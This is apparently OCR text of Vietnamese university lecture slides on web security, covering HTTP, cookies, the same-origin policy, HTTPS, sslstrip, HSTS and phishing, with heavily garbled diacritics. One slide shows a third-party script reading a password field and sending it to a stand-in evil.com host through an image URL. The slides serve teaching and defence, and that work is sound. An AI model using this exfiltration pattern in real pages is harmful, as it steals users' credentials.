BAI 7.
AN TOAN AN NINH DICH VU WEB(1)
TONG QUAN + HTTPS

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi

1. TONG QUAN VE DICH VU WEB

Bui Trong Tung,
Vién Cong nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi




World Wide Web

Ra d&i nam 1990

Hé thong cac siéu van ban trinh bay bang ngon ngtr
HTML dwoc lién két véi nhau

Cho phép truy cap dén nhiéu dang tai nguyén thong tin
khac nhau (van ban, hinh anh, &m thanh, video...) qua
URL (Uniform Resource Location) va URI (Uniform
Resource ldentifier)

DPang dworc diéu hanh béi W3C

Cac cdng nghé lién quan: CSS, XML, JavaScrips, Adobe
Flash, Silverlight...

Hién tai da tr& thanh nén tdng (Web-based service)

Cac de doa dbi voi dich vu web

W

Tén cong server tr phia client
Tén codng dang Injection
File System Traversal
Broken Access Control




Cac de doa dbi v&i dich vu web

W

d

Tén cong tir phia server:
Clickjacking
HistoryProbing
Phishing

Cac de doa dbi voi dich vu web

Tén cong ngudi dung khac:
XSS
CSRF
Remote Script Inclusion
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A-1 Injection Cho phép chen qry liéu déc hai vao cau
I&énh hoac truy van

A-2  Broken Danh cip mat khau, khéa, thé phién, hodc
Authentication khai thac 16 hdng dé gia mao nguwdi dung

A-4 XML External Khai thac 16 hdng xd ly XML
Entities (XXE)

A-5 Broken Access Céc dang tan cong vwot quyén truy cap
Control

A-6  Security L6 héng khi cu hinh, trién khai website

Misconfiguration
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2020 OWASP Top10 Project

(ng dung Web khong kiém tra ma doc

S Javascript nhung vao dir liéu dau vao

A-8 Insecure Khéng kiém tra di¥ liéu déng géi trong cac
Deserialization  doi twong Serialization

A-9 Using St dung cac cong cu, thanh phan phan
Components mém chu’a va 16 h6ng bao méat da dwoc
with Known cbng bo
Vulnerabilities

A-10 Insufficient Khéng ghi nhat ky va giam sat day du
Logging &
Monitoring
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Giao thirc HTTP

- St dung TCP, cdng 80 Web clients
- Trao dbi théng diép HTTP B
(giao thtrc rng dung)

»HTTP Request IE
»HTTP Response
- Lwu y: c6 rat nhiéu cach
dé twong tac véi Web e,
server ngoai trinh duyét Firefox

Navigator
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Thong diép HTTP Request

- Ma ASCII (dé dang doc dwoc dwdi dang van ban)

request line
(GET,POST,  — GET /~tungbt/index.htm HTTP/1.1\r\n
HEAD commands) [Host: nct.soict.hust.edu.vn\r\n
User-Agent: Mozilla/5.0
head Accept: text/html,application/xhtml+xml\r\n
e? er Accept-Language: en-us,en;qg=0.5\r\n

lines | Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;g=0.7\r\n
carriage return, Keep-Alive: 115\r\n
line feed at start | Connection: keep-alive\r\n

of line indicates \r\n
end of header lines

1"
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Thong diép HTTP Response

status line

(protocol
s&nuscod;\\\\\*HTTP/l.l 200 OK\r\n
status phrase) Date: Thu, 31 Jul 2015 00:00:14 GMT\r\n

Server: Apache/2.2.15 (CentOS)\r\n
Last-Modified: Wed, 30 Jul 2015 23:59:50 GMT\r\n
Accept-Ranges: bytes\r\n
header Content-Length: 2652\r\n

lines Connection: close\r\n
Content-Type: text/html; charset=UTF-8\r\n
\r\n
data, e.g.’/,data data data data data ...
requested
HTML file
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Twong tac voi web server

- BPija chi URL
http://coolsite.comitools/info.htm

Tén mién(sé dwoc phan

gidi thanh dia chi IP)

Buong dan téi tai nguyén (ni
dung c6 dinh, thuwdng la file
HTML)

- URL Encode: Biéu dién céc ky tw khong hién thi, ky tu
trang, ky tw dac biét

> %xx: trong d6 xx |& ma ASCII cla ky tw can biéu dién
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Twong tac voi web server (tiép)

- Twong tac véi cac kich ban dwoc thye thi trén server
(servlet)

http://coolsite.con/tools/doit.php?cmd=play&vol=4

_— \

Puwong dan téi servlet, cho phép Céc tham sb cho qua
server sinh ndi dung trang web tuy trinh sinh ndi dung
thudc cac tham sé:

CGl: Common Gateway Interface
PHP, JSP, ASP: ngdn ngi kich ban
(scrips)
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Kién trdc chung clia cac dich vu web

W

subdomain.mysite.com/folder/page?id=5
HTML Page, ]S file, CSS file, image, etc.

APACHE

HTTP SERVER

—
Nguoi dung co thé

twong tac voi cac tai
nguyén khac thong hi
qua dich vu web lei Server u‘

tide
run code’

| Database Querles |
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Hién thi (rendering) ndi dung trang web

- Mé hinh xt ly co ban tai trinh duyét: mdi clra sb hoac 1

frame:

»>Nhan théng diép HTTP Response

»Hién thi:
v X ly ma HTML, CSS, Javascripts
v Guri théng diép HTTP Request yéu cdu cac dbi twong khac(néu co)
v Bat va xt ly s kién

- Cac su kién c6 thé xay ra:

»Sw kién clia ngwoi dung: OnClick, OnMouseOver...

> Sw kién khi hién thi: OnLoad, OnBeforeUnload...

»Theo thoi gian: setTimeout(), clearTimeout()...
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Document Object Model(DOM)

- T6 chtre cac dbi twong cla trang HTML thanh c4u trac
cay

- Cung cép API (hwéng déi twong)dé twong tac

- Vi du:
»Thudc tinh: document.alinkColor, document.URL, document.forms|

], document.links[ ]...

»Phwong thirc: document.write()...

- Bao gébm ca dbi twong cda trinh duyét(Browser Object
Model - BOM): window, document, frames[], history,
location...
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DOM — Vi du

<html>

<head><title>Example</title> ... </head>

<body>

<a id="myid" href="javascript:flipText()">Alice</a>
</body></html>

document
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DOM — Vi du khac

<head> ...
<script type="text/javascript">
flip = 0;

function flipText() {
var x = document.getElementById('myid').firstChild;
if(flip == @) { x.nodevValue = 'Bob'; flip = 1;}
else { x.nodeValue = 'Alice'; flip = 0; }
}
</script>
</head>
<body>
<a id="myid"
href="javascript:flipText()">
Alice
</a>
</body>

document

script

flipText
19
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Javascript

- Ngbén ng» cho phép xay dwng cac script dé trinh duyét
thwce thi
- Puwoc nhing vao cac trang web ma server tra vé cho
client
- Thworng str dung dé twong tac véi DOM
- Kha nang twong tac rat manh:
~Thay dbi ndi dung trang web trén trinh duyét
»Theo déi va x(r ly cac s kién’trén trang web (bao gébm ca hanh vi
cla nguwdi dung: ré chudt, nhap chudt, gé phim)
~Doc, thiét 1ap cookie
»~Duy tri két ndi (AJAX)
»~Sinh cac HTTP Request khac va doc HTTP Response tra vé
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HTTP la giao thurc stateless

- M6t phién hoat déng cua HTTP:
»~Trinh duyét két ndi véi Web server
»Trinh duyét glvi théng diép yéu cau HTTP Request
»Web server dap ng v&i mét thdng diép HT TP Response
»...lap lai...
»Trinh duyét ngat két ndi
- Cac théng diép HTTP Request dwoc xt ly doc 1ap
- Web server khéng ghi nh¢ trang thai cta phién HTTP

21
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HTTP Cookie

HTTP Request

HTTP Response

TED

HTTP Request

- Cookie: dir liéu do Web server tao ra, chira thong tin trang thai ctia phién
lam viéc
> Server c6 thé lwu lai cookie(médt phan hoc toan bo)
- Sau khi xtr ly yéu ciu, Web server tra lai thong diép HTTP Response v6i
coookie dinh kém
» Set-Cookie: key = value; options;
- Trinh duyét lwu cookie
- Trinh duyét g&ri HTTP Request tiép theo v&i cookie dwgc dinh kém
22
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HTTP Cookie - Vi du

HTTP Response

HTTP/1.1 200 OK

Server: nginx/1.10.1

Date: Mon, 14 Nov 2016 09:1%:19 GMT
Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.45

Set-Cookie: vflastvisit=1479113139; expires=Tue, 14-Mov-2017 09:19:1% GMT; path=/; domain=veozforums.com; secure

Set-Cookie: vflastactivity=0; expires=Tue, 14-Nov-2017 08:1%:19 GMT; path=/; domain=vozforums.com; secure
Expires: 0
Cache-Control: private, post-check=0, pre-check=0, max-age=0

Pragma: no-cache

Content-Encoding: gzip

23
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HTTP Cookie - Vi du

- HTTP Request

GET /clientscript/vbulletin_important.csstwv=380 HTTP/1.1

Host: vozforums.com

User-Agent: Mozilla/5.0 (Windows NT 10.0: WOWE4: n:49.0) Gecko/20100107 Firefox/49.0
Accept: text/css, /™ q=0.1

Accept-language: en-US,en;g=05

Accept-Encoding: gzip, deflate, br

Referer: https://vozforums.com/

Cookie: vflastvisit=1479115139; vflastactivity=0

Connection: keep-alive

24
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HTTP Cookie

HTTP Request

\ 4

~ HTTP Response
" Set-cookie: NAME=VALUE ;
’ Cookie [ domain = (where to send) ;
Néu expires=NULL: scope path = (where to send)
chi dding cho 1 phién secure = (only send over TLS);
expires = (when expires) ;
HttpOnly

if expires=past date:
trinh duyét xéa cookie

- Cookie scope: chi dinh cac trang web sé gwi cookie t&i
- HttpOnly: khéng thé doc cookie bang Javascript tai client
- secure: Chi glvi cookie trén kénh truyén TLS

25
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Doc ghi cookie tai trinh duyét

- Truy cap qua dbi twong DOM: document.cookie
- Thiét 1ap gia tri:
document.cookie = “name=value; expires=...; ”

- Hién tri cookie: alert(document.cookie)

»Hién thi dwéi dang 1 chudi gdm gia tri trong cac thudc tinh cla tt
cé cookie da Iwu cho tai nguyén nay

- X6a cookie:

document.cookie = “name=; expires= [Ngay trong qua
kh‘j':] ”
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2. CHINH SACH SOP

Bui Trong Tung,
Vién Céng nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi
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Chinh sach cting nguon(SOP)

- Same Origin Policy

- Chinh sach st dung trén trinh duyét Web

- Ngudn(Origin) = Giao thirc + Hostname + Cdng (rng dung

- Chinh sach SOP:,Trang web ctia nguén nay khéng duoc
phép doc, thay doi néi dung trang web cta ngudn khac

- céach ly cac trang web khac ngudn

A B DOM
A

DOM
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SOP-Vidu

Kiém tra kha nang truy cap tw
http://www.example.com/dir/page.htmi

http://lwww.example.com/dir/page2.html Success

http://lwww.example.com/dir2/other.html Success
http://lusername:password@www.example.cpm/dir2/other.html Success
http.//www.example.com:81/dir/other.hjml Failure
https://www.example.com/dir/other. Failure
http://en.example.com/dir/other. Failure
http://example.com/dir/other.h Failure
http://v2.www.example.co Failure
http://www.example.com:80/dir/other.html Depends
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SOP — Str dung thw vién bén thir 3

- Thu vién Javascript clia bén th&r 3 c6 thé dwoc ndo vao
trang Web <script> src = “URL to .js” </script>

- Script ¢co quyén‘thuc thi trén trang da nap, khéng phai
trén server nguon

- Vi du: script khi thwc thi trén a.com cé quyén‘tu’o’ng tac
v&i DOM cua trang nay nhwng khéng cé quyén trén DOM
cua trang b.com

<script src=https://b.com/script/example.js></script>

€ http://a.com 1 (] r=1{F

Xuét hién

</> L
nguy co moi

A.com
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St dung thw vién bén thir 3

- L& hdng: script ¢ thé twong tac véi trang web da nap né
- thiéu co ché cach ly do SOP khéng con dwoc ap dung

INDIANTAGS Home » Register Sort news by: Recently Popular | Ton Today | Yes ath | Year | B3

Danh cép thong tin
var ¢ = document.getElementsByName(“password”)[0] i orves sion

== \
Ve . e ~ PN ..
Nhung tryc tiep ma ngudn JavaScript
cua bén th 3 lam phat sinh nguy co
‘ cho trang da s dung né ) 9
U : \
refresh your browser. - — @, "
Gi lai cho ké tan cong D
<img src="http::www.evil.com/info.jpg?_info_"> —n, |
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Giai phap

- HTML5 Web Workers: cach ly script bang cach thyc thi
trong ludng riéng, van cuing ngudn véi frame da tao ludng
do
»Twong tac v&i ludng chinh bang postMessage()

- Thu hep pham vi thyc thi va giao tiép:
»HTMLS Sandbox
»Content Security Policy

- Sub Resource Integrity(SRI): lap trinh vién cung cap ma
bam cula tai nguyén da nap trén trang Web, trinh duyét
kiém tra tinh toan ven

- Cross-Origin Resource Sharing: kiém‘soét chia sé tai
nguyén gitka cac trang Web khac ngudn

32
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Chinh sach SOP cho cookie

- Dia chi URL: scheme://domain:port/path?params

- Nguén(origin) ctia cookie dwoc xac dinh b&i: domain,
path va scheme(khéng bat buéc)

- Thiét lap cookie: mot trang web cé thé thiét 1ap cookie cho
céac trang cé cung t&n mién, hodc mang tén mién cép
trén(tre tén mién cép 1)

- Vi du: trang web c6 domain la login.site.com:

»Thiét 1ap dwoc cookie véi domain = login.site.com, site.com

»Khéng thiét 1ap dwoc véi domain = othersite.com, other.site.com,
.com

~path: bat ky gia tri nao

33
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Chinh sach SOP cho cookie

- Doc cookie: Server cé thé doc duoc tt ca cookie trong
scope clia nd

>Trinh duyét giri tt ca cookie trong scope(domain va

path) t&i server:

»Néu gia tri secure dwoc thiét Iap thi cookie chi dwoc glri néu giao
thirc 1a HTTPS

- Vi du: cookie v&i domain = example.com va path =
/some/path/ sé duwgc dinh kém vao théng diép HTTP
Request t&i dia chi

http://foo.example.com/some/path/subdirectory/hello.html

34
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SOP cho cookie — Vi du khac

- Ba cookie duoc thiét [ap b&i login.site.com

Cookie 1 Cookie 2 Cookie 3

value = a value =b value =c

domain = login.site.com domain = site.com domain = site.com
path =/ path =/ path = /my/home
secure

- Cookie dugc dat trong HTTP Request nhw sau:

URL Cookie 1 | Cookie 2 | Cookie 3
http://login.site.com No Yes No
https://login.site.com Yes Yes No
https://site.com No Yes No
http://site.com/my/home No Yes Yes
http://account.site.com No Yes No
https://login.site.com/my/home Yes Yes Yes 35

35

3. GIAO THUC HTTPS

Bui Trong Tung,
Vién Cong nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi
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Thiét 1ap két ndi TLS 1.3

Trao ddi khoa Diffie-Hellman ‘

Client ClientHello: nonce., KeyShare Server

_ServerHello: nonceg , KeyShare, Enc[certg,...] secret
CertVerify: Enc[Sigg(data)], Finished key

Finished

=

session-keys «— HKDF( DHkey, nonce. , nonceg ) |

Encrypted ApplicationData

g

Encrypted ApplicationData

37
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HTTPS trén trinh duyét Web

Truy cap Web vai HTTPS |

& Ding nhip B

(-TSTOCKCOMMERC\ALEAH‘.‘ {\rNJ'w-.mwe E1| ¢  Q Search b+l =] + 0 4 0 @

- o X

Z= | Dich vu khéich hang 24/7: 1900 54 54 13

Chap canh uéc mo cing Vietcombank

Churong irinh khuyén mai hdp dan b
06/10/2016 dén hét 31/12/2016

Danh cho Khach hang mua méi Bao

Thanh Tai, B3o An Tai Tri clia Vig NGAN HANG TRUC TUYEN

VCB - iB@nking
- Toan bd ndi dung website (bao goém
hinh anh, CSS, Flash, scripts...) da
dwoc trinh duyét thdm tra tinh toan ven Fp024 2

va ngudn gbc tin cay.
e - Moi théng tin trao doi gitra trinh duyét i
va Vietcombank dwoc gilr bi mat.
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Qua trinh xac minh chirng thw s6

- Bwdc 1: Trinh duyét so sanh tén mién trong chirng thw sbé
(Subject CN)va tén mién trén dia chi URL
»Tén twdng minh: dnsimple.com, hoac
»Tén dai dién: *.dnsimple.com, dn*.dnsimple.com
- Budc 2: Trinh duyét kiém tra thoi gian hiéu lwc cla chirng
thw sb
- Bwde 3: Trinh duyét kiém tra chirng thu sb gbc cla CA
chirng thwe cho server
»Dé xem cac chirng thw sé gbc trén trinh duyét Firefox
Options 2Advanced >View Certificates 2Authorities

- Budc 4: Trinh duyét kiém tra trang thai clia chirng thw sb
- Bwdc 5: Trinh duyét st dung chivng thw sé gbc ciia CA

dé thadm tra ch ky sé trén chirng thw ctia server
39
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Churng thw s6 goc

- Pwoc tich hop san trén trinh duyét

Certificates X
Intended purpose: . <All= b :
Trusted Root Certification Authorities  Trusted Publishers  Untrusted Publishers IE]D
Issued To Issued By Expiratio...  Friendly Mame i
[ AddTrust External ...  AddTrust External CA...  30-May-20  The USERTrust ...
[ affirmTrust Comme...  AffirmiTrust Commercial  31-Dec-30  Trend Micro
|5 Baltimore CyberTru... Baltimore CyberTrust ... 13-May-25  DigiCert Baltimor...
[l certification Author... Certification Authority... 08-Aug-33  WoSign
Slcertum ca Certum CA 11-un-27  Certum
[Slcertum Trusted Ne...  Certum Trusted Netw.., 31-Dec-28  Certum Trusted ...
@Class 3 Public Prima... Class 3 Public Primary ... 02-Aug-28  VeriSign Class 3 ...
@COMODO RSA Cert... COMODO RSA Certific... 19-Jan-33 COMODO SECU...
L-_T‘]Copwight (c) 1997 ... Copyright {c) 1997 Mi... 31-Dec-99  Microsoft Timest... ¥

40
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Chubi chirng thuc

| @ @® certificate Viewer"www.vietcombank.com.vn"

General Details

Certificate Hierarchy
¥ VeriSign Class 3 Public Primary Certification Authority- G5
b Symantec Class 3EV SSL CA-G3
www.vietcombank.com.vn

Certificate Fields

b Certificate
- Version
Serial Number
Certificate Signature Algorithm
1Issuer
" kvalidity
] Nok Before
Not After

F www.vietcombank.com.vn |

.k Subject PublicKeyInfo
Field value

[CN = www.vietcombank.com.vn

0U = IT CENTER

0 = JOINT STOCK COMMERCIAL BANK FOR FOREIGN TRADE OF VIETNAM
L = Ha Noi

41
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Chubi chirng thuc
Certificate
\/ 490{%“9 “I'm @ because | say so!”

Certificate .
p O “m(*/) because & says so”

Certificate ,
’éiué\ “I'm ¥ because (/) says so”

Chudi xac thyc tr chdi chirng thu $6 néu co bat ky
bwéc nao cho két qua xac thwc that bai

42
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Chrng thw khong hop 1€

", % | This Connection is Untrusted
v You have asked Firefox 1o connect securely 10 www.mikestoolbox.org, but we can't
C «confirm that your connection is secure.

Normally, when you try to connect securely, sites will present trusted identification to prove
that you are going to the right place. However, this site’s identity can't be verified.

What Should | Do?

If you usually connect o this site without problems, this error could mean that someone is
trying to impersonate the site, and you shouldn't continue,

Get me out of here! )

" Teck s

a0 invalid security certificate.

Con an toan /
khéng khi nguoi
dung chap nhan
~ canhbao?

‘entity of the website

this website was signed by an unknown certifying

-"You might be connecting to a website that is pretending to be
.mikestoolbox.org”, which could put your confidential information at
lould you like to connect to the website anyway?

43
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Tan cong ssilstrip

- T&n cong sslstrip: ngan can nang cap tr HTTP > HTTPS

= SSL HTTP

— %0

server attacker

Noi dung tra vé tir N6i dung thay thé boi
web server attacker
<a href=https://...> > <a href=http://...>
Location: https://... - Location: http://... (redirect)
<form action=https://... > &>  <form action=http://...>

44
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Tan cong sslstrip

- Tham chi, trén cac website hd tro ddy dd HTTPS, nhung
c6 thé loi dung ngudi dung khéng cap nhat trinh duyét
phién ban ma&i

- Thay fav icon

pogle - Mozl ;[“rws-,n‘ﬁn
Bookmmarks Tools Help
I-.' | http ifiwww.google.comfaccounts/Servic I I gﬁ | httpjmww.google .comjaccounts/s

N

ookmarks Tools Help

- X6a cookie bang cach chén header “set-cookie” > nguoi
dung bat buéc dang nhap lai
»Phan 16n khéng phat hién HTTPS > HTTP

45
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Phong chong: Strict Transport Security
(HSTS)

@ P Strict-Transport-Security: max-age=63072000; includeSubDomains ﬁ web

server

(bd qua néu lién két khéng phai la HTTPS)

. H‘STS: Mét tredng trép tié’u dé cia HTTP Response, yéu
cau trinh duyét luén két noi v&i may chi qua HTTPS

» T chdi cac truy cap qua HTTP hodc chirng thw sé cta server
khéng hop 1é

»Yéu cau toan bd ndi dung website phai dwoc truy cap qua HTTPS
- Max-age: thoi gian duy tri
- Kiém tra danh sach cac website hé trog HSTS:
»chrome://net-internals/#hsts

> %APPDATA%\Mozilla\Firefox\Profiles\...\SiteSecurityServiceState.t
xt

46
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Tan cong vao HTTPS

- Giao thtre truy cap I\é\ HTTPS nhwng ndi dung website khéng
dwoc chirng thyc day du
- Vi du:
<script src="http://.../script.js”>
<img src="http://site.com/img”>
- Nguy co: K& tAn cong thay thé nhirng ndi dung nay
- Canh bao trén trinh duyét

Security Information

|E7. @ Thi page contains both seours and nonssours Chrome(Ca’C phlén bén CG):
Do you want to display the nonsecure items? 2\ https://www.google.com/calendar/
[ wee ][ Mo ][ Woeina J

- Chinh sach ctia Chrome: chan CSS, ma Javascript, thé

<frame>
47
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Tan cong lgi dung website khdng dwoc
chirng thue day da-Vi du
@ © & nhtps/faldthusteduvn
. _ Site Information for gldthusteduvn
# | HE THOR
( TUY‘EN #. Connection not secure
|sienmnon | TRUFONG £ . .
Parts of this page are not secure (such as images), 2 MOZI ”a Flrefox
2% Permissions
You have not granted this site any special permissions.
Clear Cookies and Site Data...
A Notsecure  gldthusteduvn
,i x
Your connection to this site is not fully
Secure
Chrome _ _ |
Attackers might be able to see the images you're
! looking at on this site and trick you by modifying
' them. Learn more
48
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CSP: upgrade-insecure-requests

- Céc trang truy cap bang HTTPS co thé tron 1an cac URL
cua tai nguyén co thé truy cap bang HTTP

Vi du: <img src="http://site.com/img”>

- Thém vao tiéu dé trong HTTP Response

Content-Security-Policy: upgrade-insecure-requests

- Trinh duyét tw dong chuyén URL s dung HTTP sang

HTTPS, ngay ca voi cac tai nguyén ngoai(khac tén mien)

trr lién két voi thé <a>

<img src="http://site.com/img”> <img src="https://site.com/img”>
<img src="http://othersite.com/img”> ™  <img src="https://othersite.com/img”>
<a href="http://site.com/img”> <a href="https://site.com/img”>
<a href="http://othersite.com/img”> <a hreféf'http:,/othersite.com/img">
Ludn str dung URL twong ddi: <img src="//site.com/img”> 49
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Tan céng vao HTTPS

- S dung CA gia mao dé phat hanh chirng thw gid mao
- Nguwoi dung str dung phién ban trinh duyét khéng an toan
- chirng thw gbc bij thay thé

GET https://bank.com _ -

attacker

0 ClientHello @ ClientHello b;”";'i
ServerCert (rogue) ServerCert (Bank) [
(cert for Bank by a invalid CA)
SSL key exchange SSL key exchange
K, k, ko Ky
HTTP data enc with k; HTTP data enc with k,

S
>
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Phat hanh chirng thu sb sai cach

- 2011: Comgdo and DigiNotar CAs bi tan cong, phat hanh
chirng thw s6 cho cac tén mién cia Gmail, Yahoo! Mail,

- 2013: TurkTrust phat hanh chirng thw s6 cho gmail.com
(phat hién nh& co ché Dynamic HTTP public-key pinning)

-2014: Indian NIC phat hanh chirng thu s6 cho cac tén
mién ctia Google

- 2015: MCS phat hanh chirng thu sé cho cac tén mién
cua Google

= trinh duyét khong phat canh bao khi ke tan cong thay

thé ching thw s6
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Phong chong chirng thw s6 gia mao

- Giai phap cl: HTTP Public Key Pinning(HPKP)
»TOFU(Trust on First Use):

v/ Trwdng Public-Key-Pins trong tiéu dé clia HTTP Response chira CA da
cap phat chirng thu s6 cho website

v Néu céc phién tiép theo, sir dung chirng thw duoc chirng thuc béi CA
khac > tr chéi

»Hién nay dwoc khuyén céo khéng nén st dung

. Gjao thire “Certificate Transparengy” cho phép CA cong
bo toan bd ban ghi nhat ky (log) vé cac chirng thw da phat
hanh

- Giao thre OCSP (Online Certificate Status Protocol)
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Tan cong phishing

- Homograph attack: Loi dung hinh dang giébng nhau cta
mot sO ky tw. Vi du: vvesternbank, paypai, paypail,
paypal...

» S dung ma Unicode trong URL: paypal.com

- Semantic gttack: loi dung cac triph duyét cu khpng phéan
bié} cac dau dép biét trén tén mién. Vi du: Ké tan cong co
thé mua tén mién var.cn va st dung tén mién con

www.pnc.com/webapp/homepage.var.cn

- Phong chéng: st dung chirng thw hé tro chirng thuc mé
rong (Extended validation certificate)

| & Vietnam Joint Stock Commercial Bank For Industry and Trade [VN]|https:Hebanking.vietinbank,vn/’ipay,’iogin.do
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Homograph attack — Vi du

- Website bi gia mao

@ Bank of the West | - Mozilla Firefox )
File Edit View History Bookmarks Tools Help
Cor @ eSS ) https: /. bankofthewest.com/BOW/hame 7 - | [[Gl-] Googe B
OF H & B
BANK#:WEST Z£. i e

Signinv Have a quastion? Contact Us. Find us | ZiP code or oty & state

PERSONAL ' SMALL BUSINESS | COMMERCIAL

Products & Services = Achieve Your Goals  Bank Online eTimeBanker .
I Lnglni
Checking Buy a home Apply for an account online o
Savings & CDs Buy a new car Learn about online banking heiB dol ety e SN T
Credit Cards Save for college Enroll in eTimeBanker ieinaiie 1
Loans Maximize home equity - o
Wealth &Twst  Consolidate debt A Lo 4
ealth Mar Tus G {? =7 AT
Insurance Try our financial calculators A ¥ b

See all our Personal banking products »
Done

www bankefthewest.com [
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Homograph attack

- Website gia mao

& Bank of the West | - Moxzilla Firefox

File Edit View History Bookmarks Tools Hel

GE-‘- e X ‘@!ﬁéﬂwww.banko&hewst.mm OW/home

thevvest.com/

thewest.com/
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Semantic attack (vi du

File Edit View History Bookmarks Tools Help
* ? - a @ ‘ E]https:erw.pnc:com/webapp/unsec/homepagw Ll |'|Goog\e @

Most Visited~ @ Getting Started

(-‘)PNC HOME SECURITY ASSURANCE LOCATE PNC CONTACT US CUSTOMER SERW( |
LEADING THE WAY Beareh

CORPORATE & INSTITUTIONAL

ILatest Headlines™

PNC Bank Select Reward

Visa®™ Platinum Car

= ] & Take advantage of a 0.999
Hew L Siins ek g s L " Introductory APR throug|
Asin il ems : March 31, 2010 0
Balance Transfers—

WL -
rity Assurance I ]F‘raducts:and Sepvicas %nluﬁnns

Impor@ant FDIC Information  pNC's wide range of services can make Whatever challenges and opportunities
o = banking easier, and more convenient lie ahead, PNC can help. See why
Egéga_[cg;g;ﬂapﬂga:;he than ever, See why PMC's the smart warking with PMC to plan for life's
Guarartee Program, more b choice tor help in meeting your financial greatest milestones is the smart
goals. choice.

Two of America's ¥ Online Banking and Bill Pay ¥ Iaking the Most of Your Maney

best-known banks, ¥ Check ¥ Virtual Wallet

How simply one of il ] rtua) Walle,

America's best. ¥ Savings ¥ Planning for Retirement

A ¥ Loans and Lines of Credit ¥ Saving for Education

easy as possible for vou b Cards ¥ Buying a Home =]
il [ ]
Done I www.pnc.com/webapp/unsec/homepagevar.cn = [ ~ 56
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Tan céng phishing (tiép)

- Picture-in-picture attack: dwng moét frame chira ctra sb
giao dién cua mét wpbsjte da duwgc ching thye 2l
dung ngu¢i dung bat can khéng quan sat khi duyét web

Wﬁnmlmmnm e |

3 v [ itpifparpaticon.com Tl e Taoear e
g | gt fpsrpsliogn com) | m-"

WithouShari n

Your Financial Information

()
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Bai giang s dung mét s hinh vé va vi du tir cac khoa
hoc:

- Computer and Network Security, Stanford University
- Computer Security, Berkeley University

- Introduction to Computer Security, Carnegie Mellon
University
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